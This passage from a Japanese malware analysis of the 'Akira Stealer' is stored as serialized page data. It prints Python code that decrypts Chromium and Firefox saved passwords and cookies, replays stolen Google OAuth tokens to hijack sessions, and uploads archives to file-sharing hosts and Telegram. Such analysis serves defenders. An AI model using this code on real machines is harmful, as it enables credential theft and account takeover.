blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[550,6688,6689,6694,6699,6704,6709,6714,6719,6724,6729,6734,6739,6744,6748],{"__ignoreMap":594},[1680,6690,6691],{"class":1682,"line":1683},[1680,6692,6693],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1680,6695,6696],{"class":1682,"line":2058},[1680,6697,6698],{},"for service, blob in cursor.fetchall():\n",[1680,6700,6701],{"class":1682,"line":2064},[1680,6702,6703],{},"    iv = blob[3:15]\n",[1680,6705,6706],{"class":1682,"line":2070},[1680,6707,6708],{},"    ciphertext = blob[15:-16]\n",[1680,6710,6711],{"class":1682,"line":2393},[1680,6712,6713],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1680,6715,6716],{"class":1682,"line":2399},[1680,6717,6718],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1680,6720,6721],{"class":1682,"line":3051},[1680,6722,6723],{},"    # Replays via POST to OAuth endpoint\n",[1680,6725,6726],{"class":1682,"line":3846},[1680,6727,6728],{},"    response = requests.post(\n",[1680,6730,6731],{"class":1682,"line":3852},[1680,6732,6733],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1680,6735,6736],{"class":1682,"line":4099},[1680,6737,6738],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1680,6740,6741],{"class":1682,"line":5020},[1680,6742,6743],{},"        data={\"source\": \"com.google.Drive\"}\n",[1680,6745,6746],{"class":1682,"line":5026},[1680,6747,5950],{},[1680,6749,6750],{"class":1682,"line":5032},[1680,6751,6752],{},"    save each account’s cookies to file\n",[604,6754,6755,6770,6779,6790],{},[607,6756,6757,6759,6760,6763,6764,6651,6767,6465],{},[550,6758,560],{}," のクローンから ",[550,6761,6762],{},"service"," と生の ",[550,6765,6766],{},"encrypted_token",[539,6768,6769],{},"取得",[607,6771,6454,6772,6775,6776,6465],{},[550,6773,6774],{},"Local State"," キーを使って ",[539,6777,6778],{},"AES-GCM復号",[607,6780,6781,6782,6785,6786,6789],{},"復号したトークンをGoogleの ",[550,6783,6784],{},"multilogin"," APIへのPOSTで ",[539,6787,6788],{},"リプレイ"," し、有効なOAuth Cookieを再構築します。",[607,6791,6792,6793,6504,6796,6508],{},"アカウントごとのセッションファイルを ",[550,6794,6795],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[539,6797,6507],{},[862,6799,6801,6802,4407],{"id":6800},"_746-履歴ダンパー-chromiumgethistory","7.4.6 履歴ダンパー (",[550,6803,6804],{},"Chromium.GetHistory",[532,6806,868],{},[532,6808,6809],{},"この関数は、URL、タイトル、訪問頻度を含む閲覧履歴エントリを抽出します。プライバシー侵害にとどまらず、このデータは攻撃者が被害者の行動を把握し、価値の高い標的（銀行ポータルなど）を特定し、あるいはソーシャルエンジニアリングのペイロードを仕立てるのに役立ちます。",[588,6811,6813],{"className":4486,"code":6812,"language":4488,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[550,6814,6815,6819,6824,6828,6833],{"__ignoreMap":594},[1680,6816,6817],{"class":1682,"line":1683},[1680,6818,6530],{},[1680,6820,6821],{"class":1682,"line":2058},[1680,6822,6823],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1680,6825,6826],{"class":1682,"line":2064},[1680,6827,6540],{},[1680,6829,6830],{"class":1682,"line":2070},[1680,6831,6832],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1680,6834,6835],{"class":1682,"line":2393},[1680,6836,6837],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6839,6840,6850,6860],{},[607,6841,6640,6842,6844,6845,6651,6848,6465],{},[550,6843,6367],{}," DBから ",[550,6846,6847],{},"url, title, visit_count, last_visit_time",[539,6849,6654],{},[607,6851,6852,6853,6856,6857,6508],{},"エントリを ",[550,6854,6855],{},"last_visit_time"," の降順で ",[539,6858,6859],{},"並べ替え",[607,6861,6862,6504,6865,6465],{},[550,6863,6864],{},"History/\u003CBrowserName> History.txt",[539,6866,6590],{},[862,6868,6870,6871,4407],{"id":6869},"_747-自動入力ダンパー-chromiumgetautofills","7.4.7 自動入力ダンパー (",[550,6872,6873],{},"Chromium.GetAutofills",[532,6875,868],{},[532,6877,6878],{},"住所、氏名、メールアドレス、時には決済関連データといった自動入力エントリが、ブラウザーのWeb Dataストレージから抜き取られます。これらの値は一見重要でなさそうに見えますが、集約すると被害者の身元と行動に関する豊かなプロファイルを与えてしまいます。",[588,6880,6882],{"className":4486,"code":6881,"language":4488,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[550,6883,6884,6888,6893,6897,6902],{"__ignoreMap":594},[1680,6885,6886],{"class":1682,"line":1683},[1680,6887,6530],{},[1680,6889,6890],{"class":1682,"line":2058},[1680,6891,6892],{},"    \"SELECT name, value FROM autofill\"\n",[1680,6894,6895],{"class":1682,"line":2064},[1680,6896,6540],{},[1680,6898,6899],{"class":1682,"line":2070},[1680,6900,6901],{},"for field, value in results:\n",[1680,6903,6904],{"class":1682,"line":2393},[1680,6905,6906],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6908,6909,6920],{},[607,6910,6911,6914,6915,6651,6918,6465],{},[550,6912,6913],{},"web data"," ファイルからフォーム入力エントリ ",[550,6916,6917],{},"name, value",[539,6919,6769],{},[607,6921,6922,6925,6926,6508],{},[550,6923,6924],{},"Autofill/\u003CBrowserName> Autofill.txt"," として ",[539,6927,6928],{},"書き出し",[862,6930,6932,6933,557,6935,4407],{"id":6931},"_748-firefoxプロファイルグラバー-geckodriver-と-grabfirefoxprofiles","7.4.8 Firefoxプロファイルグラバー (",[550,6934,6239],{},[550,6936,6937],{},"grabFirefoxProfiles",[532,6939,868],{},[532,6941,6942],{},"きめ細かなChromiumのルーチンとは異なり、この関数は大づかみなアプローチを取ります。保存されたログイン、Cookie、ブックマークを含むFirefoxプロファイルディレクトリ全体を圧縮し、まるごと窃取します。これにより攻撃者は、既知のNSSツールで復号のハードルを回避しつつ、データをオフラインで解析・抽出できます。",[588,6944,6946],{"className":4486,"code":6945,"language":4488,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[550,6947,6948,6953,6958,6963],{"__ignoreMap":594},[1680,6949,6950],{"class":1682,"line":1683},[1680,6951,6952],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1680,6954,6955],{"class":1682,"line":2058},[1680,6956,6957],{},"    for root, dirs, files in os.walk(source_path):\n",[1680,6959,6960],{"class":1682,"line":2064},[1680,6961,6962],{},"        zipf.write(each file)\n",[1680,6964,6965],{"class":1682,"line":2070},[1680,6966,6967],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6969,6970,6979,6989],{},[607,6971,6972,6975,6976,6465],{},[550,6973,6974],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles"," ディレクトリ全体を ",[539,6977,6978],{},"ZIP化",[607,6980,6981,6982,557,6985,6988],{},"それを ",[550,6983,6984],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip",[539,6986,6987],{},"名付け","、同じWebhookチャネル経由でダウンロードリンクを送ります。",[607,6990,6991,6994,6995,620,6998,620,7001,7004],{},[539,6992,6993],{},"さらに","、すでに備わっているNSS復号ルーチンを使い、各Firefoxプロファイルに対して同じSQLiteベースの抽出関数（",[550,6996,6997],{},"logins.json",[550,6999,7000],{},"cookies.sqlite",[550,7002,7003],{},"places.sqlite","）を呼び出します。",[862,7006,7008],{"id":7007},"_749-抽出のまとめ","7.4.9 抽出のまとめ",[532,7010,868],{},[532,7012,7013,7014,620,7016,620,7018,620,7020,620,7022,7025,7026,7029,7030,7032,7033,620,7035,620,7037,7039,7040,7043],{},"Astor.pyは、ChromiumベースとFirefoxのクライアントをまたいで、あらゆる認証情報とセッションの成果物を体系的に収集することで、包括的なブラウザー侵害を統括します。各SQLiteストア（",[550,7015,556],{},[550,7017,560],{},[550,7019,6319],{},[550,7021,6367],{},[550,7023,7024],{},"autofill","）を特定して安全にコピーし、標的を絞ったSQLクエリを実行して、URL、ユーザー名、パスワード、クレジットカードの詳細、Cookie、閲覧履歴、フォーム入力エントリを抽出します。パスワードと決済データはAES-GCM（またはWindows DPAPIのフォールバック）で復号され、Cookieも同様に展開されて平文の値が露わになります。Googleアカウントについては、",[550,7027,7028],{},"token_service"," の暗号化されたOAuthトークンが復号され、",[550,7031,6784],{}," APIに対してリプレイされてライブのセッションCookieが再生成されます。最後に、Firefoxプロファイルは（",[550,7034,6997],{},[550,7036,7000],{},[550,7038,7003],{}," を含めて）まるごとアーカイブされ、ZIPとして送り出されるため、成果物が一切残りません。このエンドツーエンドのパイプラインは ",[550,7041,7042],{},"%TEMP%\\\u003CComputerName>"," の下で静かに動作し、データのカテゴリーごとに整然と整理された出力ファイルを生成します。",[714,7045,7047],{"id":7046},"_75-復号のロジック","7.5 復号のロジック",[532,7049,720],{},[532,7051,7052],{},"ChromeやEdgeといった現代のブラウザーは、パスワード、Cookie、クレジットカードの詳細といった機微なデータをローカルに保存する前に暗号化します。Akiraには、Chromiumの旧来と現行の双方の暗号化方式を扱えるよう作られた復号ルーチンが組み込まれています。これにより、システムのパッチレベルやブラウザーのバージョンにかかわらず、平文のデータを抽出できます。",[532,7054,7055],{},"この処理の核心は、Local Stateというファイルに保存されたブラウザーのマスター暗号鍵の抽出と復号です。ブラウザーのバージョンとWindowsのビルドに応じて、Akiraは適切な復号方式を動的に選択します。",[532,7057,7058],{},"DPAPI（Data Protection API）は、Chromeが現在のユーザーのWindows資格情報で保護した秘密を保存する旧来のシステムで使われます。",[532,7060,7061],{},"AES-GCMは、ランダムに生成されたマスター鍵自体がDPAPIで暗号化され、それがアプリ内でのユーザーデータ暗号化に使われる現行のChromiumビルドで使われます。",[532,7063,7064],{},"まずLocal Stateのマスター鍵を復号することで、Akiraはブラウザーのあらゆる秘密を解錠する能力を得ます。これが、認証情報、トークン、Cookieなどの抽出への道を開きます。",[532,7066,7067],{},[539,7068,7069],{},"鍵の抽出",[588,7071,7073],{"className":4486,"code":7072,"language":4488,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[550,7074,7075,7080,7085,7090],{"__ignoreMap":594},[1680,7076,7077],{"class":1682,"line":1683},[1680,7078,7079],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1680,7081,7082],{"class":1682,"line":2058},[1680,7083,7084],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1680,7086,7087],{"class":1682,"line":2064},[1680,7088,7089],{},"    local_state = json.load(f)\n",[1680,7091,7092],{"class":1682,"line":2070},[1680,7093,7094],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[532,7096,7097],{},[539,7098,7099],{},"復号（AES-GCM）:",[588,7101,7103],{"className":4486,"code":7102,"language":4488,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[550,7104,7105,7110,7115,7120,7125],{"__ignoreMap":594},[1680,7106,7107],{"class":1682,"line":1683},[1680,7108,7109],{},"nonce = value[3:15]\n",[1680,7111,7112],{"class":1682,"line":2058},[1680,7113,7114],{},"ciphertext = value[15:-16]\n",[1680,7116,7117],{"class":1682,"line":2064},[1680,7118,7119],{},"tag = value[-16:]\n",[1680,7121,7122],{"class":1682,"line":2070},[1680,7123,7124],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1680,7126,7127],{"class":1682,"line":2393},[1680,7128,7129],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[532,7131,7132,7133,7136],{},"（旧来のシステムで）DPAPIへのフォールバックが必要な場合は、",[550,7134,7135],{},"win32crypt.CryptUnprotectData()"," を使います。",[532,7138,7139,7145],{},[539,7140,7141,7144],{},[550,7142,7143],{},"decrypt_password_blob"," の説明:","\nこの関数は、Akira StealerがChromiumベースのブラウザーから保存された各パスワード値をどう復号するかを示しています。次の2つのケースを扱います。",[2078,7147,7148,7158],{},[607,7149,7150,7153,7154,7157],{},[539,7151,7152],{},"Windows DPAPIブロブ","（旧来の、またはGCMで暗号化されていないデータ）: システムコール ",[550,7155,7156],{},"CryptUnprotectData"," にフォールバックします。これはユーザーのWindows資格情報を使って復号します。",[607,7159,7160,7163,7164,7167],{},[539,7161,7162],{},"AES-GCMで暗号化されたブロブ","（Chrome v10／v11形式）: バージョンヘッダーを解析し、IVと認証タグを取り出し、",[550,7165,7166],{},"cryptography"," ライブラリを使ってペイロードを安全に復号します。",[588,7169,7171],{"className":4486,"code":7170,"language":4488,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[550,7172,7173,7178,7183,7187,7191,7196,7200,7205,7209,7214,7219,7224,7228,7233,7238,7242,7247,7252,7257,7262,7266,7271,7276,7281,7286,7291,7296,7301,7306,7311,7315,7320,7325,7330,7335,7340,7344,7349,7353,7358,7363,7367,7372],{"__ignoreMap":594},[1680,7174,7175],{"class":1682,"line":1683},[1680,7176,7177],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1680,7179,7180],{"class":1682,"line":2058},[1680,7181,7182],{},"from cryptography.hazmat.backends import default_backend\n",[1680,7184,7185],{"class":1682,"line":2064},[1680,7186,3843],{"emptyLinePlaceholder":325},[1680,7188,7189],{"class":1682,"line":2070},[1680,7190,3843],{"emptyLinePlaceholder":325},[1680,7192,7193],{"class":1682,"line":2393},[1680,7194,7195],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1680,7197,7198],{"class":1682,"line":2399},[1680,7199,5824],{},[1680,7201,7202],{"class":1682,"line":3051},[1680,7203,7204],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1680,7206,7207],{"class":1682,"line":3846},[1680,7208,3843],{"emptyLinePlaceholder":325},[1680,7210,7211],{"class":1682,"line":3852},[1680,7212,7213],{},"    Parameters:\n",[1680,7215,7216],{"class":1682,"line":4099},[1680,7217,7218],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1680,7220,7221],{"class":1682,"line":5020},[1680,7222,7223],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1680,7225,7226],{"class":1682,"line":5026},[1680,7227,3843],{"emptyLinePlaceholder":325},[1680,7229,7230],{"class":1682,"line":5032},[1680,7231,7232],{},"    Returns:\n",[1680,7234,7235],{"class":1682,"line":5038},[1680,7236,7237],{},"    - Decrypted UTF-8 plaintext password\n",[1680,7239,7240],{"class":1682,"line":5044},[1680,7241,5824],{},[1680,7243,7244],{"class":1682,"line":5050},[1680,7245,7246],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1680,7248,7249],{"class":1682,"line":5056},[1680,7250,7251],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1680,7253,7254],{"class":1682,"line":5062},[1680,7255,7256],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1680,7258,7259],{"class":1682,"line":5068},[1680,7260,7261],{},"        return CryptUnprotectData(buffer)\n",[1680,7263,7264],{"class":1682,"line":5074},[1680,7265,3843],{"emptyLinePlaceholder":325},[1680,7267,7268],{"class":1682,"line":5080},[1680,7269,7270],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1680,7272,7273],{"class":1682,"line":5086},[1680,7274,7275],{},"    # Bytes layout:\n",[1680,7277,7278],{"class":1682,"line":5092},[1680,7279,7280],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1680,7282,7283],{"class":1682,"line":5098},[1680,7284,7285],{},"    # [3:15]   = initialization vector (IV)\n",[1680,7287,7288],{"class":1682,"line":5104},[1680,7289,7290],{},"    # [15:-16] = ciphertext payload\n",[1680,7292,7293],{"class":1682,"line":5770},[1680,7294,7295],{},"    # [-16:]   = GCM authentication tag\n",[1680,7297,7298],{"class":1682,"line":5775},[1680,7299,7300],{},"    iv = buffer[3:15]\n",[1680,7302,7303],{"class":1682,"line":5780},[1680,7304,7305],{},"    ciphertext = buffer[15:-16]\n",[1680,7307,7308],{"class":1682,"line":5785},[1680,7309,7310],{},"    tag = buffer[-16:]\n",[1680,7312,7313],{"class":1682,"line":5791},[1680,7314,3843],{"emptyLinePlaceholder":325},[1680,7316,7317],{"class":1682,"line":5796},[1680,7318,7319],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1680,7321,7322],{"class":1682,"line":5801},[1680,7323,7324],{},"    cipher = Cipher(\n",[1680,7326,7327],{"class":1682,"line":5806},[1680,7328,7329],{},"        algorithms.AES(key),\n",[1680,7331,7332],{"class":1682,"line":5811},[1680,7333,7334],{},"        modes.GCM(iv, tag),\n",[1680,7336,7337],{"class":1682,"line":5816},[1680,7338,7339],{},"        backend=default_backend()\n",[1680,7341,7342],{"class":1682,"line":5821},[1680,7343,5950],{},[1680,7345,7346],{"class":1682,"line":5827},[1680,7347,7348],{},"    decryptor = cipher.decryptor()\n",[1680,7350,7351],{"class":1682,"line":5833},[1680,7352,3843],{"emptyLinePlaceholder":325},[1680,7354,7355],{"class":1682,"line":5839},[1680,7356,7357],{},"    # Perform decryption; raises if authentication fails\n",[1680,7359,7360],{"class":1682,"line":5844},[1680,7361,7362],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1680,7364,7365],{"class":1682,"line":5849},[1680,7366,3843],{"emptyLinePlaceholder":325},[1680,7368,7369],{"class":1682,"line":5854},[1680,7370,7371],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1680,7373,7374],{"class":1682,"line":5859},[1680,7375,7376],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[714,7378,7380],{"id":7379},"_76-セッショントークンの乗っ取り","7.6 セッショントークンの乗っ取り",[532,7382,720],{},[532,7384,7385,7386,7389],{},"Akiraは受動的なデータ収集にとどまらず、ライブのセッショントークンを能動的に乗っ取り、被害者になりすましてリアルタイムに行動します。ブラウザーのストレージから暗号化されたトークンを抽出した後、必要な認可ヘッダーを再構築し、GoogleのOAuthエンドポイントに対して ",[539,7387,7388],{},"MultiLogin"," リクエストをリプレイします。以下のコード断片はこの処理を示しています。",[588,7391,7393],{"className":4486,"code":7392,"language":4488,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[550,7394,7395,7400,7405,7410,7415,7420,7425,7430,7435,7440,7444,7449,7454,7459,7464,7469,7473,7478,7483],{"__ignoreMap":594},[1680,7396,7397],{"class":1682,"line":1683},[1680,7398,7399],{},"# Build SAPISIDHASH header for Google services\n",[1680,7401,7402],{"class":1682,"line":2058},[1680,7403,7404],{},"origin = \"https://accounts.google.com\"\n",[1680,7406,7407],{"class":1682,"line":2064},[1680,7408,7409],{},"timestamp = int(time.time())\n",[1680,7411,7412],{"class":1682,"line":2070},[1680,7413,7414],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1680,7416,7417],{"class":1682,"line":2393},[1680,7418,7419],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1680,7421,7422],{"class":1682,"line":2399},[1680,7423,7424],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1680,7426,7427],{"class":1682,"line":3051},[1680,7428,7429],{},"headers = {\n",[1680,7431,7432],{"class":1682,"line":3846},[1680,7433,7434],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1680,7436,7437],{"class":1682,"line":3852},[1680,7438,7439],{},"    \"Content-Type\": \"application/json\"\n",[1680,7441,7442],{"class":1682,"line":4099},[1680,7443,2402],{},[1680,7445,7446],{"class":1682,"line":5020},[1680,7447,7448],{},"# Replay MultiLogin to fetch valid session cookies\n",[1680,7450,7451],{"class":1682,"line":5026},[1680,7452,7453],{},"response = requests.post(\n",[1680,7455,7456],{"class":1682,"line":5032},[1680,7457,7458],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1680,7460,7461],{"class":1682,"line":5038},[1680,7462,7463],{},"    headers=headers,\n",[1680,7465,7466],{"class":1682,"line":5044},[1680,7467,7468],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1680,7470,7471],{"class":1682,"line":5050},[1680,7472,5238],{},[1680,7474,7475],{"class":1682,"line":5056},[1680,7476,7477],{},"if response.status_code == 200:\n",[1680,7479,7480],{"class":1682,"line":5062},[1680,7481,7482],{},"    # Victim’s cookies now present in response.cookies\n",[1680,7484,7485],{"class":1682,"line":5068},[1680,7486,7487],{},"    hijacked_cookies = response.cookies\n",[532,7489,7490],{},"このリクエストをリプレイすることで、Akiraは有効なセッションで保護されたユーザーのGmail、Drive、その他あらゆるGoogleサービスになりすませます。認証情報は不要です。この手法はGoogle自身のトークン受理ロジックを利用するため、正規のクライアントの振る舞いとほとんど見分けがつきません。",[714,7492,7494],{"id":7493},"_77-firefoxの復号","7.7 Firefoxの復号",[532,7496,720],{},[532,7498,7499,7500,7503],{},"FirefoxのようなGeckoベースのブラウザーは、保存された認証情報とCookieを ",[550,7501,7502],{},"key4.db"," に保存されたマスター鍵で暗号化します。Akiraには、MozillaのNSSロジックを模した簡素化された復号ルーチンが含まれており、マスターパスワードのプロンプトを発生させずに3DESとAES-CBCの双方の方式を扱います。使用例は次のとおりです。",[588,7505,7507],{"className":4486,"code":7506,"language":4488,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[550,7508,7509,7514,7519,7524,7529,7534,7538,7543,7548,7553,7558,7563,7568,7573,7578,7583,7588,7592],{"__ignoreMap":594},[1680,7510,7511],{"class":1682,"line":1683},[1680,7512,7513],{},"# Load global Salt and encrypted item from key4.db\n",[1680,7515,7516],{"class":1682,"line":2058},[1680,7517,7518],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1680,7520,7521],{"class":1682,"line":2064},[1680,7522,7523],{},"cursor = db.cursor()\n",[1680,7525,7526],{"class":1682,"line":2070},[1680,7527,7528],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1680,7530,7531],{"class":1682,"line":2393},[1680,7532,7533],{},"global_salt, item2 = cursor.fetchone()\n",[1680,7535,7536],{"class":1682,"line":2399},[1680,7537,3843],{"emptyLinePlaceholder":325},[1680,7539,7540],{"class":1682,"line":3051},[1680,7541,7542],{},"# Decode DER structure and derive key\n",[1680,7544,7545],{"class":1682,"line":3846},[1680,7546,7547],{},"decoded, _ = der_decode(item2)\n",[1680,7549,7550],{"class":1682,"line":3852},[1680,7551,7552],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1680,7554,7555],{"class":1682,"line":4099},[1680,7556,7557],{},"cipher_text = decoded[1].asOctets()\n",[1680,7559,7560],{"class":1682,"line":5020},[1680,7561,7562],{},"# Derive 3DES key\n",[1680,7564,7565],{"class":1682,"line":5026},[1680,7566,7567],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1680,7569,7570],{"class":1682,"line":5032},[1680,7571,7572],{},"iv = decoded[0][1][1].asOctets()\n",[1680,7574,7575],{"class":1682,"line":5038},[1680,7576,7577],{},"# Decrypt credentials\n",[1680,7579,7580],{"class":1682,"line":5044},[1680,7581,7582],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1680,7584,7585],{"class":1682,"line":5050},[1680,7586,7587],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1680,7589,7590],{"class":1682,"line":5056},[1680,7591,3843],{"emptyLinePlaceholder":325},[1680,7593,7594],{"class":1682,"line":5062},[1680,7595,7596],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[532,7598,7599,7600,620,7602,620,7604,7606],{},"このルーチンにより、Akiraは各Firefoxプロファイルの ",[550,7601,6997],{},[550,7603,7000],{},[550,7605,7003],{}," を透過的にダンプし、復号した出力を次の場所に書き込めます。",[588,7608,7611],{"className":7609,"code":7610,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[550,7612,7610],{"__ignoreMap":594},[532,7614,7615],{},"このアプローチはユーザーレベルのマスターパスワードのチェックを迂回し、保存されたすべての認証情報への無制限のアクセスをスティーラーに与えます。*",[532,7617,7618],{},[539,7619,7620],{},"4. ファイル構造と命名",[588,7622,7625],{"className":7623,"code":7624,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[550,7626,7624],{"__ignoreMap":594},[604,7628,7629,7643,7649],{},[607,7630,6482,7631,7634,7635,7638,7639,7642],{},[550,7632,7633],{},".txt"," は、一貫したヘッダー（",[550,7636,7637],{},"\u003C================[Akira Stealer v2]>================>","）と区切り線（",[550,7640,7641],{},"====…====","）で始まります。",[607,7644,7645,7646,2089],{},"ディスク上のZIP: ",[550,7647,7648],{},"%TEMP%\\\u003CComputerName>.zip",[607,7650,7651,7652,2089],{},"C&Cのファイル名ラベル: ",[550,7653,7654],{},"Akira-\u003Cusername>.zip",[532,7656,7657],{},[539,7658,7659],{},"5. 窃取とクリーンアップ",[588,7661,7663],{"className":4486,"code":7662,"language":4488,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[550,7664,7665,7670,7675,7680,7685],{"__ignoreMap":594},[1680,7666,7667],{"class":1682,"line":1683},[1680,7668,7669],{},"url = Webhook.uploadToGofile(zip_path)\n",[1680,7671,7672],{"class":1682,"line":2058},[1680,7673,7674],{},"if not 